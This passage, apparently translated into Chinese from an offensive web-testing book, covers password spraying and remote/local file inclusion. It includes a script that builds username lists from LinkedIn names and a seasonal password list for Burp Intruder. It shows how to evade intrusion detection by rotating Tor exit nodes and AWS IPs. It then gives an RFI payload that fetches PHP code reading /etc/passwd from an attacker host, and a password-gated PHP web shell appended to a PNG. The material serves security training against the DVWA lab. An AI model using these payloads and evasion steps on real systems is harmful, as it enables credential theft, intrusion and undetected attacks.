接下来,我们可以使用之前建立的格式化规则输出潜在的用户名。通过 print 语句以及 first 和 last 变量的组合,我们可以轻松地将它们显示在屏幕上:
print first + "." + last **# david.lightman**
print first + last **# davidlightman**
最后,我们还将打印出名字首字母和姓氏的组合,以及每个员工姓名的八个字符以内的版本:
fl = first[0] + last
lf = last + first[0]
print fl **# dlightman**
print lf **# lightmand**
print fl[:8] **# dlightma**
print fl[:7] + "2" **# dlightm2**
print fl[:7] + "3" **# dlightm2**
print lf[:8] **# davidlig**
print lf[:7] + "2" **# davidli2**
print lf[:7] + "3" **# davidli3**
我们将把生成的脚本保存在一个名为 name2account.py 的文件中,文件内容如下所示:
with open("**linkedin.txt**", "r") as fp:
for name in iter(fp):
**first**, **last** = name.strip().lower().split(" ")
print first + "." + last **# david.lightman**
print first + last **# davidlightman**
fl = first[0] + last
lf = last + first[0]
print fl **# dlightman**
print lf **# lightmand**
print fl[:8] **# dlightma**
print fl[:7] + "2" **# dlightm2**
print fl[:7] + "3" **# dlightm2**
print lf[:8] **# davidlig**
print lf[:7] + "2" **# davidli2**
print lf[:7] + "3" **# davidli3**
剩下的就是运行脚本并观察输出,如下图所示:
图 4.2:运行账户名生成器
要在攻击中使用这些输出,我们可以将其重定向到另一个文本文件中,稍后可以通过以下命令在 Burp 或 ZAP 中导入:
**root@kali:~/tools# python name2account.py > target**
**_accounts.txt**
元数据
通过分析我们的用户列表,也可以收集有效的用户名,方法是查看互联网上已经公开的信息。公开索引的文档是获取用户 ID 的一个好来源,因为它们通常在内容中或文件头中包含有价值的元数据。当文档是由公司员工创建时,Microsoft Office、Adobe PDF 以及许多其他类型的文档编写软件默认会将当前登录用户的姓名作为文件的作者保存在元数据中。这些文档不一定是绝密的;它们可以是传单和营销材料。它们可能是旨在与公众共享的公开数据,我们可以利用自动填充的元数据来进行密码喷洒攻击。
指纹识别组织及收集的档案(FOCA)是 ElevenPaths 提供的一个非常棒的工具,它可以爬取搜索引擎结果中的索引文档,例如 PDF、Excel 或 Word 文件。这些文件通常在元数据中存储有价值的信息;通常是负责编写文件的 AD ID。
这可能不总是域名用户名(它可能是电子邮件地址),但在我们构建目标账户列表时,这仍然是非常有价值的信息。
使用 FOCA,我们可以快速搜索我们目标的所有公开可用文档,并一键分析它们的元数据。
你会注意到查询与我们之前使用的 LinkedIn 数据抓取非常相似。这是因为 FOCA 在后台使用了搜索引擎黑客技术,不仅利用 Google,还利用 Bing 和其他信息目录。
在以下示例中,我们正在寻找来自 vancouver.ca 的公开可用文档,并分析它们的元数据。FOCA 将下载每个 PDF,解析头部,并将其找到的任何用户信息存储在元数据摘要的左侧栏中。
图 4.3:FOCA 显示公开索引的文档
这些有价值的用户名数据可以导出到文件中,用于密码喷洒攻击。我们不仅能在这些公开文档中找到有效的账户,而且它们还暗示了公司如何结构化其用户名。我们可以将这些知识与 LinkedIn 数据抓取结合,构建更好的目标账户列表,同时最小化身份验证失败的可能性。
注意
FOCA 可以从 ElevenPaths 官网下载:www.elevenpaths.com/labstools/foca/index.html,或者在 GitHub 上找到:github.com/ElevenPaths/FOCA。
集群炸弹
为了进行密码喷洒攻击,我们需要一种简单的方式来将目标用户列表和一个小而具体的密码列表提供给目标。我们还希望能够在必要时限制每次尝试的速度,以避免被发现。
Burp Suite 的 Intruder 模块有多种有效载荷投递选项,其中包括集群炸弹攻击类型,允许我们指定 HTTP 请求中的多个位置,在这些位置插入有效载荷。Intruder 将针对每个可能的组合提交请求,这非常适合进行密码喷洒攻击。
密码列表会更加专注,我们不会将庞大的 rockyou.txt 字典一次性应用到所有用户名,而是会组合出一个较短的、使用频率更高的密码列表。
当用户忘记密码时,他们会联系技术支持并请求重置密码。通常,技术支持不会进行复杂的重置程序,而是将密码重置为一个简单易记的密码,以便员工能够快速登录并恢复工作。一个常见的密码方案是 [当前季节][当前年份]。像 Fall2017 这样的密码易于通过电话传达,并且能够满足大多数密码复杂性政策。有时,可能还会加入一些特殊字符:Fall@2017 或 Fall2017!。
如果用户在登录后立即重置密码,这其实不是问题。AD 有一个技术支持选项,要求用户在第一次成功登录后更改密码。不幸的是,旧系统和复杂的认证方案并不总是支持首次登录时重置密码,这迫使组织要求用户手动操作。虽然大多数用户会立即重置密码,但也有一些用户不会,而我们通常只需要一个用户犯错。
一个可能的密码尝试列表如下所示:
-
Fall2017 -
Fall17 -
Fall2017! -
Fall@2017 -
Summer2017 -
Summer17 -
Summer2017! -
Summer@2017 -
Spring2017 -
Spring17 -
Spring2017! -
Spring@2017
我们在构建这个列表时也可以更加智能。如果我们知道应用程序的密码要求,我们可以选择排除那些不符合要求的密码。也许目标公司总部位于一个“秋季”一词使用频率高于fall的地区,那么我们就可以相应地进行调整。
考虑账户锁定也是很重要的。我们的入侵者攻击会根据密码列表中的密码数量为每个用户生成相同数量的身份验证请求,这意味着我们可能会锁定账户。集群炸弹入侵者攻击类型会尝试列表中的第一个密码针对每个用户名,直到到达末尾,然后重新从顶部开始。接着,它会尝试列表中的第二个密码,再是第三个,以此类推,直到密码列表用完。如果我们不限制每个用户名的请求次数,可能会导致账户被锁定,并且会引起防御者的警觉。
一旦我们有了密码和用户名列表,我们就可以通过利用入侵者模块开始密码喷洒攻击。为了这个场景,我们将攻击目标定为target.org.local上的应用程序,端口为80,如下图所示:
图 4.4:在入侵者中指定攻击目标
我们发送的请求将是一个POST请求,目标为/login页面。我们可以在入侵者的Positions选项卡下指定请求体和负载位置。高亮显示username和password的虚拟值后,我们可以点击右侧的Add按钮以表示负载位置,如下图所示:
图 4.5:定义负载位置
我们还选择了前面提到的集群炸弹攻击类型。
接下来,我们需要加载我们的负载,具体来说,就是之前编制的用户名和密码列表。负载集 1 将是我们的用户名列表,如下图所示:
图 4.6:将用户名加载到负载集 1 中
我们的第二组有效载荷将是每个用户名要测试的密码。再次强调,这不是我们加载 rockyou.txt 并让它全力攻击的地方。在密码喷洒攻击中,我们针对一大批已知的有效用户 ID,并只使用少数几个非常常见的密码。我们希望避免被锁定并触发警报。
下图展示了一个小型有效载荷集 2 的示例:
图 4.7:将密码加载到有效载荷集 2 中
上述配置将对每个用户进行四次密码猜测尝试,希望能够将攻击保持在雷达下,避免任何账户锁定。我们能对更多用户进行攻击,就越有可能找到一个忘记更改密码的用户。
Burp Suite Professional 提供了一些选项,可以执行低速攻击,这些选项可以在选项标签中设置。虽然 Burp Suite 的免费版不允许多线程或限速,但 OWASP ZAP 提供了类似的攻击类型,并且能够限速和增加线程数。
在加载了我们的目标用户列表并指定了几个密码后,我们可以通过点击开始攻击来对应用程序进行喷洒攻击。下图展示了入侵者攻击窗口及密码喷洒攻击过程中所发出的所有请求:
图 4.8:密码喷洒攻击正在进行
经过七个代理
现在,越来越多的成熟公司开始实施 IDS(入侵检测系统)、IPS(入侵防御系统)和SIEM(安全信息与事件管理),并设置警报,以便在检测到某个应用程序受到滥用时进行响应。当一个未知 IP 在短时间内对受保护的应用程序进行过多操作时,IDS 或 IPS 可能会对源头采取行动。如果我们正在进行密码喷洒攻击,我们可能避免了账户锁定,但我们仍然从一个来源——我们的机器——对服务器进行大量攻击。
避免这些类型检测系统的一种有效方法是通过许多 IP 分发攻击者机器的连接请求,这通常是恶意行为者通过受损主机的网络完成的。随着云计算的兴起,计算时间变得越来越便宜,甚至在某些情况下是免费的,我们不必违反法律去建立一个僵尸网络。Tor 网络也是在攻击过程中改变公共 IP 的一种免费且有效的方式。
Torify
Tor 项目的创建目的是为用户提供匿名浏览互联网的方式。它至今仍是匿名化流量的最佳方式,最棒的是,它是免费的。Tor 是一个由独立操作的节点组成的网络,这些节点互相连接形成一个网络,通过该网络可以路由数据包。
下图展示了一个用户 Alice 如何通过 Tor 网络连接到 Bob,并通过随机生成的路径或电路进行连接:
图 4.9:Tor 网络流量流向(来源: www.torproject.org/)
客户端连接从 Alice 到 Bob 的方式不是直接连接目标,而是通过 Tor 网络中随机选择的一组节点进行路由。每个数据包都会被加密,每个节点只能解密足够的信息以将数据包路由到路径中的下一个节点。出口节点是链条中的最后一个节点,它将代表客户端与目标建立连接。当数据包到达 Bob 的机器时,请求将看起来像是来自出口节点,而不是 Alice 的公共 IP。
注意
更多关于 Tor 的信息可以在官方网站找到:www.torproject.org。
虽然 Tor 对于匿名性非常重要,但我们并不特别关心保持完全的匿名性。然而,我们可以利用随机选择的出口节点在攻击应用程序时掩盖我们的公共 IP。
Tor 软件包可以在大多数 Linux 发行版上找到。在 Kali 上,可以通过包管理器安装。下面代码中显示的apt-get命令将安装 Tor 以及一个有用的应用程序torsocks:
**root@kali:~# apt-get install tor torsocks**
Torsocks 是一个很好的工具,可以“torify”应用程序,甚至提供一个交互式 Shell,自动将所有流量通过一个活动的 Tor 隧道路由。这将允许我们强制那些原生不支持通过 Tor 路由的应用程序使用匿名网络。
注意
Torsocks 可以在 Tor 项目的 Git 仓库中找到:gitweb.torproject.org/torsocks.git。
我们不需要更改 Tor 的默认配置;只需要从 Kali 提示符下启动它,使用tor二进制文件,如下代码块所示:
root@kali:~# **tor**
[notice] Tor 0.3.1.9
[notice] Read configuration file "/etc/tor/torrc".
[notice] Opening Socks listener on 127.0.0.1:9050
[notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.
[notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.
[warn] You are running Tor as root. You don't need to, and you probably shouldn't.
[notice] Bootstrapped 0%: Starting
[notice] Starting with guard context "default"
[notice] Bootstrapped 80%: Connecting to the Tor network
[notice] Bootstrapped 85%: Finishing handshake with first hop
[notice] Bootstrapped 90%: Establishing a Tor circuit
**[notice] Tor has successfully opened a circuit. Looks like client functionality is working.**
[notice] Bootstrapped 100%: Done
一旦 Tor 客户端初始化并选择了一个隧道(电路),一个 SOCKS 代理服务器将在本地主机上启动,监听端口9050。为了强制将我们的攻击流量通过 Tor 网络,并掩盖我们的外部 IP,我们可以配置 Burp Suite,使用新启动的代理来处理所有的外向连接。任何不支持 SOCKS 的程序都可以使用 ProxyChains 或之前安装的 torsocks 工具进行“torify”。
注意
ProxyChains 在所有渗透测试发行版中都可以使用,也可以在proxychains.sourceforge.net/下载。
在 Burp Suite 中,在项目选项标签下,我们可以选择覆盖用户选项,以启用 SOCKS 配置字段。SOCKS 代理和端口的值分别为localhost和9050,并且最好通过代理进行 DNS 查询。
图 4.10:在 Burp 中配置上游 SOCKS 代理
我们可以通过使用 Repeater 模块对ipinfo.io执行一个测试请求,它应该会显示一个随机选择的 Tor 出口节点作为我们的外部 IP。
下图显示了我们对ipinfo.io进行 torify 请求的响应:
图 4.11:Repeater 响应显示 Tor 退出节点作为我们的有效 IP
尽管 Tor 客户端会定期刷新电路,但它可能不足以应对暴力破解攻击,在这种攻击中需要不断变化的 IP 以实现规避。我们不希望将连接的限制设置得过低,以至于扫描在结束前无法完成。
可以通过 进程挂起信号 (SIGHUP) 强制更新 Tor 代理的当前电路。通过使用 killall 或 kill 等 Linux 命令,我们可以向 Tor 应用程序发出一个 HUP 信号,并强制该进程旋转我们的退出节点。
首先,我们可以进入 torsocks shell,拦截所有的 curl 请求,并通过 Tor 网络转发它们。可以使用 --shell 参数调用 torsocks 命令,如下所示:
root@kali:~# torsocks --shell
/usr/bin/torsocks: **New torified shell coming right up...**
root@kali:~#
后续从 torsocks shell 中启动的应用程序的网络请求应该会通过 Tor 转发。为了查看 SIGHUP 信号的作用,我们可以使用 curl 请求访问一个在线服务,该服务返回我们当前的公共 IP,如 ipinfo.io:
root@kali:~# **curl ipinfo.io**
{
**"ip": "46.165.230.5",**
"hostname": "tor-exit.dhalgren.org",
"country": "DE"
}
root@kali:~# **killall -HUP tor**
root@kali:~# **curl ipinfo.io**
{
**"ip": "176.10.104.240",**
"hostname": "tor1e1.digitale-gesellschaft.ch",
"country": "CH"
}
root@kali:~# **killall -HUP tor**
root@kali:~# **curl ipinfo.io**
{
**"ip": "195.22.126.147",**
"country": "PL"
}
root@kali:~# **killall -HUP tor**
root@kali:~# **curl ipinfo.io**
{
**"ip": "104.218.63.74",**
"hostname": "tor-exit.salyut-4.vsif.ca",
"country": "CA"
}
root@kali:~#
每次请求 IP 服务时都会返回一个新的 Tor 退出节点。我们也可以通过在单独的终端中使用 watch 命令粗略地自动发送 HUP 信号。-n 选项指定了执行 killall 命令的频率。在这种情况下,Tor 将每 10 秒发出一次 SIGHUP 信号,从而有效地同时旋转我们的外部 IP:
**root@kali:~# watch -n10 killall -HUP tor**
如果我们的计划是对 c2.spider.ml 应用进行密码喷射攻击,例如,我们可以配置 Burp Suite 使用集群炸弹 Intruder 配置,并配合一个常见用户名和密码的列表。同时,在后台,watch 命令每 10 秒刷新一次 Tor 电路。我们将限制 Burp 的请求频率为每 10 秒一次,这将确保每次密码猜测尝试都来自不同的 IP,从而提高我们的隐蔽性。需要注意的是,Burp 的免费版不支持流量限制。通过使用 OWASP ZAP,同样的功能可以通过后台运行 watch 来循环 Tor 电路实现。
以下图示展示了 watch 命令每 10 秒运行一次 killall 命令,控制 Tor 应用程序,同时 Burp 的 Intruder 模块进行密码猜测攻击:
图 4.12:使用不断变化的退出 IP 进行密码猜测攻击
正如预期的那样,c2.spider.ml 应用服务器日志显示,每隔 10 秒钟就会从一个新的退出节点 IP 发起一次攻击。
以下展示了一个示例 PHP Web 服务器,列出了每个 HTTP 请求、时间和来源 IP:
root@spider-c2-1:/var/www# php -S 0.0.0.0:80
Listening on http://0.0.0.0:80
Press Ctrl-C to quit.
[20:21:23] **163.172.101.137:58806** [200]: /?user=root&password=123456
[20:21:33] **144.217.161.119:58910** [200]: /?user=info&password=123456
[20:21:45] **96.64.149.101:44818** [200]: /?user=guest&password=123456
[20:21:53] **216.218.222.14:16630** [200]: /?user=test&password=123456
[20:22:08] **185.220.101.29:44148** [200]: /?user=admin&password=123456
[...]
[20:24:52] **89.234.157.254:42775** [200]: /?user=test&password=123456789
[20:25:03] **87.118.122.30:42856** [200]: /?user=admin&password=123456789
攻击的低速特性,再加上不断变化的源 IP,使得防御者更难将我们的攻击流量与合法流量区分开。虽然设计有效规则以识别来自多个地区和多个 IP 的暴力破解攻击并非不可能,但在不产生误报的情况下做到这一点相当困难。
通过 Tor 网络发起攻击存在一些问题。其路由协议本质上比直接连接要慢。这是因为 Tor 对每次传输都添加了几层加密,而且每次传输都会通过三个 Tor 节点转发,除此之外还需要进行正常的互联网通信路由。这一过程增强了匿名性,但也显著增加了通信延迟。对于正常的网页浏览来说,这种延迟是可以忍受的,但对于大规模扫描,它可能不是理想的传输方式。
注意
还应注意,Tor 在隐私至关重要的地区被广泛使用。通过 Tor 进行大规模攻击是不被提倡的,因为它可能导致不必要的网络延迟,并可能影响合法用户。低速且缓慢的攻击通常不会造成任何问题。一些红队任务可能需要通过 Tor 网络进行测试,以验证相关的 IDS/IPS 规则是否按预期工作,但在通过这种有限资源的公共媒介发起攻击时,应谨慎行事。
使用 Tor 的另一个问题是出口节点是公开的。防火墙、IDS、IPS,甚至基于主机的控制可以配置为直接阻止来自已知 Tor 节点的任何连接。虽然 Tor 上有合法用户,但它也有被广泛用于非法活动的历史;因此,组织通常认为,因禁止 Tor 连接而惹恼少数潜在客户的风险是可以接受的。
注意
活跃的 Tor 出口节点列表可以在此找到:check.torproject.org/cgi-bin/TorBulkExitList.py。
Proxy cannon
使用 Tor 来多样化我们的攻击 IP 的一个替代方案是直接使用云服务。市面上有无数的 基础设施即服务(IaaS)提供商,每个提供商都有大量的 IP 空间,供虚拟机实例免费使用。虚拟机通常便宜,有时甚至是免费的,所以通过它们路由我们的流量应该是相当经济有效的。
亚马逊、微软和谷歌都提供了易于使用的 API 来自动化虚拟机实例的管理。如果我们能定期生成一个新的虚拟机并分配一个新的外部 IP,我们可以通过它将流量路由到目标应用程序,并隐藏我们的真实来源。这应该会使自动化系统更难检测并警告我们的活动。
这时就需要 ProxyCannon,一个能够与 Amazon AWS API 通信、创建和销毁虚拟机实例、轮换外部 IP 并通过它们路由流量的强大工具。
注意
ProxyCannon 是由 Shellntel 开发的,可以在 GitHub 上找到:github.com/Shellntel/scripts/blob/master/proxyCannon.py。
ProxyCannon 需要 boto,这是一个提供访问 Amazon AWS API 的 Python 库。我们可以使用 Python 的 pip 命令来安装所需的依赖项:
**root@kali:~/tools# pip install -U boto**
**Collecting boto**
**Downloading boto-2.48.0-py2.py3-none-any.whl (1.4MB)**
**[...]**
**Installing collected packages: boto**
**Successfully installed boto-2.48.0**
ProxyCannon 工具现在应该已经准备好使用,通过 -h 选项显示所有可用的选项:
root@kali:~/tools# **python proxyCannon.py -h**
usage: proxyCannon.py [-h] [-id [IMAGE_ID]] [-t [IMAGE_TYPE]]
[--region [REGION]] [-r] [-v] [--name [NAME]]
[-i [INTERFACE]] [-l]
num_of_instances
默认情况下,ProxyCannon 会在 AWS 中创建 t2.nano 虚拟实例,新的账户在有限时间内应该是免费的。它们的资源非常有限,但通常足够用于大多数攻击。如果需要更改实例类型,可以使用 -t 开关。默认区域是 us-east-1,可以通过 --region 开关进行调整。
ProxyCannon 将根据 num_of_instances 参数创建指定数量的实例,并使用 -r 开关定期轮换它们。-l 开关对于跟踪 ProxyCannon 在执行过程中使用的公共 IP 非常有用,这对于报告来说很重要:蓝队可能需要攻击中使用的所有 IP 列表。
为了让工具能够与我们的 AWS 账户进行通信,并自动管理实例,我们必须在 AWS 控制台中创建 API 访问密钥。这个界面相当简单,可以在账户的 安全凭证 页面访问。
访问密钥 ID 和密钥是随机生成的,应当安全存储。一旦任务结束,应从 AWS 控制台删除这些密钥。
图 4.13:生成新的 AWS API 访问密钥
我们可以使用 -r 和 -l 开关启动 ProxyCannon,并指定同时运行 3 个实例。
root@kali:~/tools# python proxyCannon.py -r -l 3
What is the AWS Access Key Id: **d2hhdCBhcmUgeW91IGRvaW5n**
What is the AWS Secret Access Key: **dW5mb3J0dW5hdGVseSB0aGlzIGlzIG5vdCB0aGUgcmVhbCBrZXku**
[...]
在第一次运行时,ProxyCannon 会要求输入这些值,并将它们存储在 ~/.boto 文件中。
root@kali:~/tools# **cat ~/.boto**
[default]
aws_access_key_id = d2hhdCBhcmUgeW91IGRvaW5n
aws_secret_access_key = dW5mb3J0dW5hdGVseSB0aGlzIGlzIG5vdCB0aGUgcmVhbCBrZXku
如你所见,这些信息以明文形式存储,因此请确保这个文件得到妥善保护。亚马逊建议这些密钥应该经常轮换。每次任务开始时,最好为每个任务创建新的密钥,并在不再需要时从 AWS 删除它们。
ProxyCannon 将连接到 Amazon EC2,设置 SSH 密钥,调整安全组,并启动虚拟机实例。这个过程可能需要几分钟才能完成。
[*] Connecting to Amazon's EC2...
[*] Generating ssh keypairs...
[*] Generating Amazon Security Group...
**[~] Starting 3 instances, please give about 4 minutes for them to fully boot**
[====================] 100%
ProxyCannon 将覆盖当前系统的 iptables 配置,以确保所有流量都通过所选实例进行正确路由:
**[*] Provisioning Hosts.....**
**[*] Saving existing iptables state**
**[*] Building new iptables...**
**[*] Done!**
**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++**
**+ Leave this terminal open and start another to run your commands.+**
**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++**
**[~] Press ctrl + c to terminate the script gracefully.**
**[...]**
正如承诺的那样,ProxyCannon 会定期通过 SSH 隧道和修改路由表来轮换我们的有效外部 IP。所有这些操作都是自动进行的,在后台执行,而 Burp Suite 或 ZAP 正在进行密码喷洒攻击。
以下是 ProxyCannon 的定期输出,显示正在轮换的 IP 地址:
[*] Rotating IPs.
[*] Replaced **107.21.177.36** with **34.207.187.254** on tun0
[*] Replaced **34.234.91.233** with **52.91.91.157** on tun1
[*] Replaced **34.202.237.230** with **34.228.167.195** on tun2
[*] Replaced **34.207.187.254** with **34.228.158.208** on tun0
[*] Replaced **52.91.91.157** with **54.198.223.114** on tun1
在 AWS 控制台中,我们可以看到启动的 t2.nano 实例及其公共 IP 地址:
图 4.14:创建的 AWS 实例,用于通过它们路由我们的流量
和之前的 Tor 示例一样,我们可以通过使用 watch 命令重复 curl 请求来测试 ProxyCannon,目标应用是我们的目标。我们不需要像 torsocks 那样进入 shell,因为 ProxyCannon 会修改本地系统路由,帮助我们更改外部 IP 地址。
**root@kali:~# watch -n30 curl http://c2.spider.ml**
在目标应用程序方面,c2.spider.ml 服务器日志显示来自属于 Amazon 地址空间的多个 IP 的连接尝试:
**52.91.91.157** - - [13:01:16] "GET / HTTP/1.1" 200 -
**52.91.91.157** - - [13:01:22] "GET / HTTP/1.1" 200 -
**34.228.158.208** - - [13:01:43] "GET / HTTP/1.1" 200 -
**34.228.158.208** - - [13:01:48] "GET / HTTP/1.1" 200 -
**54.198.223.114** - - [13:06:34] "GET / HTTP/1.1" 200 -
**54.198.223.114** - - [13:06:39] "GET / HTTP/1.1" 200 -
应当注意的是,我们在 Amazon 或任何云服务提供商上轮换 IP 的频率是有下限的。实例启动需要一段时间,IP 地址需要被保留、关联并变得活跃。ProxyCannon 设定了一个硬编码的时间大约为 90 秒,以确保有效 IP 确实发生变化。
总结
在本章中,我们探讨了在进行暴力攻击时保持低调的几种技术。低调缓慢的攻击,结合频繁更换 IP 地址,是猜测密码或寻找有趣 URL 的一种有效方式。如果我们能够将这一策略与密码喷洒攻击结合起来,我们可以在避免入侵检测、预防系统和防火墙的同时,提高成功的几率。我们还研究了从 LinkedIn 和 Google 中抓取元数据,以建立有效的用户和密码列表。
这些偏离常规暴力攻击的策略使得攻击难以防御,要求蓝队有合适的告警设置,低误报率,并且坦率地说,必须投入大量资源来监控检测系统。作为攻击者,我们知道蓝队通常会被过度分配资源,无法启用那些会产生大量误报但也能捕捉到我们攻击的规则。一般来说,除非目标组织有一个非常成熟且资金充足的安全计划,否则这些类型的攻击很容易实施并且经常成功。
在下一章中,我们将深入探讨如何利用应用程序处理来自不受信任来源的文件和文件路径中的漏洞。
第五章 文件包含攻击
在前几章中,我们了解了如何设置我们的环境并熟悉我们的工具。我们甚至讨论了通过寻找低风险漏洞来攻击应用程序。秉承同样的精神,在本章中,我们将分析文件包含和文件上传攻击。虽然这些类型的攻击并不复杂,但它们仍然很常见。文件包含漏洞似乎已经存在很久了,而且看起来短时间内不会消失。本地文件包含(LFI)和远程文件包含(RFI)漏洞并不是唯一可以利用应用程序并使其受到攻击的方式。即使开发人员已经限制了可上传的服务器端可执行代码,文件上传漏洞仍然可以被滥用,正如我们稍后在本章中将看到的那样。仍然有相当多的应用程序容易受到 LFI、文件上传滥用,甚至有时是 RFI 的攻击。
本章将涵盖以下主题:
-
RFI
-
LFI
-
文件上传滥用
-
链接漏洞以实现代码执行
如果你曾在企业界工作过,肯定会发现这些问题发生的频率是多么的高。定制的内部应用程序通常是以截止日期为导向开发的,而不是考虑安全性。企业级 web 应用程序并不是唯一的问题:物联网(IoT)的噩梦才刚刚开始蔓延。大多数价格实惠的设备,比如 Wi-Fi 路由器或互联网连接的毛绒玩具,都设计得很差,一旦发布就再也不会更新。由于许多约束因素,包括财务限制和硬件局限性,设备的安全性非常基础,甚至根本没有。物联网设备是 2000 年代的 PHP 应用程序,而我们曾认为消失的漏洞正在卷土重来,带着强烈的报复性。
为了说明这些问题,我们将使用Damn Vulnerable Web App(DVWA)项目。这个特别的应用程序是为了展示在实际环境中常见的最流行的 web 漏洞而构建的。从命令注入到 XSS,所有这些都可以在三个难度级别(低、中、高)上进行测试。
注
DVWA 可以以多种格式下载,包括一个易于运行的 Live CD,网址为www.dvwa.co.uk/。
为了简化,我们的 DVWA 实例将通过dvwa.app.internal进行访问。
RFI
尽管在现代应用程序中不那么常见,但 RFI 漏洞仍然会时不时地出现。RFI 在早期的 Web 和 PHP 中非常流行。PHP 因允许开发者实现一些本质上危险的功能而臭名昭著。include() 和 require() 函数本质上允许从其他文件中包含代码,这些文件可以位于同一磁盘上,也可以通过网络加载。这使得 Web 应用程序更强大、更动态,但也付出了巨大的代价。正如你所想的那样,允许未经清理的用户数据传递给 include() 函数,可能导致应用程序或服务器被攻陷。
允许将远程文件包含到服务器端代码中的危险性是显而易见的。PHP 会下载远程文本并将其解释为代码。如果远程 URL 被攻击者控制,他们可以轻松地将 shell 代码传递给应用程序。
在以下示例中,RFI 漏洞可以通过一个简单的 system() 透传 shell 来利用。在攻击者控制的 c2.spider.ml 服务器上,提供了一个包含 shellcode 的纯文本文件:
root@kali:~# curl http://c2.spider.ml/test.txt
**<?php system('cat /etc/passwd'); ?>**
root@kali:~#
DVWA 应用程序在以下 URL 中存在 RFI 漏洞:
http://dvwa.app.internal/vulnerabilities/fi/
攻击者可以使用 page GET 参数指定一个任意页面进行包含,示例如下:
http://dvwa.app.internal/vulnerabilities/fi/?page=about.php
由于 page 参数没有进行适当的输入清理,攻击者可以指定任何他们希望服务器加载和显示的文件,包括托管在其他地方的远程文件。然后,攻击者可以指示易受攻击的应用程序 dvwa.app.internal 包含该远程文件,该文件将作为 PHP 代码进行处理,实质上导致代码执行。
我们可以将攻击者控制的完整 URL http://c2.spider.ml/test.txt 指定为要包含的页面,如下所示:
http://dvwa.app.internal/vulnerabilities/fi/?page=http://c2.spider.ml/test.txt
图 5.1:应用程序包含远程托管的 PHP 代码,执行它,并返回 /etc/passwd 的内容
如前所述,RFI 漏洞在现代应用程序中较少见,但由于 IoT 设备使用过时的库和包,它们正在卷土重来。
允许 include() 从网络获取代码有其合理的原因。某些应用程序可能围绕这一特性进行架构设计,迁移出去可能成本过高。从企业角度来看,可能更便宜的是保持现有架构不变,仅通过打补丁添加控制措施,并希望通过白名单或黑名单的方法来清理输入。
基于白名单的控制是理想选择,但在动态的生产环境中维护起来也较为困难。如果域名和 IP 经常变动(比如 CDN 和云基础设施),更新白名单以匹配可能会消耗大量资源。应用程序的关键性可能要求零停机时间;因此,解决方案应该是自动化的。然而,没有引入安全漏洞的情况下实现这一点可能是非常困难的。
也可以选择黑名单方法,尽管无法知道所有当前和未来的攻击输入。通常不推荐使用黑名单,因为攻击者可以利用足够的时间反向工程黑名单并绕过它。然而,某些情况下由于缺乏资源或时间,仍然会实现黑名单。如果审计结果要求对特定应用组件实施安全控制,但没有具体说明如何执行,可能通过实施黑名单可以更快地获得合规检查标记。
限制 RFI 的控制措施可以在网络层面实现。应用程序的出口流量会被严格审查,仅允许连接到已知服务器,从而防止攻击者从 C2 服务器包含代码。理论上,这是一个有效的控制方法。它是一个白名单方法,并且不需要重新设计应用程序的工作流程。开发人员可以向网络安全工程师提供一个应当可以访问的域名列表,其他所有连接应当被拒绝。
LFI
LFI 漏洞依然十分严重,且可能不会很快消失。应用程序能够从磁盘上的其他文件拉取代码通常是有用的。这使得应用更加模块化并且更易于维护。问题出现在通过 include 指令传递的字符串在应用的多个部分被拼接,并且可能包含由不可信用户提供的数据。
文件上传与文件包含的组合可能会带来灾难。如果我们上传一个 PHP shell 并将其存储在 Web 目录外的某个位置,则 LFI 漏洞可能会提取并执行该代码。
DVWA 可以用来展示这种攻击类型。high 难度设置禁止上传除 JPEG 或 PNG 文件以外的任何文件,因此我们不能直接访问上传的 shell 并执行代码。
为了解决这个问题,我们可以使用 ImageMagick 的 convert 命令生成一个假的 PNG 文件。我们将创建一个 32×32 像素的小图像,背景为粉色,并使用以下开关将其保存为 shell.png:
**root@kali:~# convert -size 32x32 xc:pink**
**shell.png**
文件数据结构相对简单。PNG 文件头和描述内容的几个字节是通过 convert 命令自动生成的。我们可以使用 hexdump 命令检查这些字节。-C 参数会使输出更加可读:
**root@sol:~# hexdump -C shell.png**
**00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|**
**00000010 00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8 |...... .....I..|**
**00000020 b7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 |.....gAMA......a|**
**00000030 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |....cHRM..z&...|**
**00000040 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |...........u0...|**
**00000050 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |'..:....p..Q<...|**
**00000060 06 50 4c 54 45 ff c0 cb ff ff ff 09 44 b5 cd 00 |.PLTE.......D...|**
**00000070 00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 0c |...bKGD...-.....|**
**00000080 49 44 41 54 08 d7 63 60 18 dc 00 00 00 a0 00 01 |IDAT..c'........|**
**00000090 61 25 7d 47 00 00 00 00 49 45 4e 44 ae 42 60 82 |a%}G....IEND.B'.|**
虽然有很多奇怪的数据,但它们都能构成一个正常的 PNG 图像。事实上,我们还可以在文件末尾添加任意字节,大多数图像查看器都不会有问题来渲染该文件。我们可以利用这个知识通过 LFI 漏洞将一些 PHP 代码嵌入文件中,以便稍后由服务器执行。
首先,我们需要一个简单的 PHP shell,类似于前面的章节。以下是我们将附加到 PNG 文件中的 PHP 代码:
图 5.2:Web shell 源代码
就像之前一样,if 语句会检查传入的 password 参数的 MD5 哈希值是否匹配 f1aab5cd9690adfa2dde9796b4c5d00d。如果匹配,cmd GET 参数中的命令字符串将传递给 PHP 的 system() 函数,后者会将其作为系统命令执行,从而给我们提供 shell 访问。
我们要找的 MD5 值是 DVWAAppLFI1 的哈希值,正如通过 md5sum Linux 命令确认的那样:
**root@kali:~# echo -n DVWAAppLFI1 | md5sum**
**f1aab5cd9690adfa2dde9796b4c5d00d -**
**root@kali:~#**
我们可以使用 echo shell 命令将 PHP 代码追加(>>)到我们的 shell.png 图片中:
root@kali:~# echo '**<?php if (md5($_GET["password"]) == "f1aab5cd9690adfa2dde9796b4c5d00d") { system($_GET["cmd"]); } ?>**' >> **shell.png**
我们之前见过这种透过的 shell,目前应该可以顺利运行。如果需要,我们可以将其替换为更高级的 shell,但对于我们的概念验证,这已经足够了。
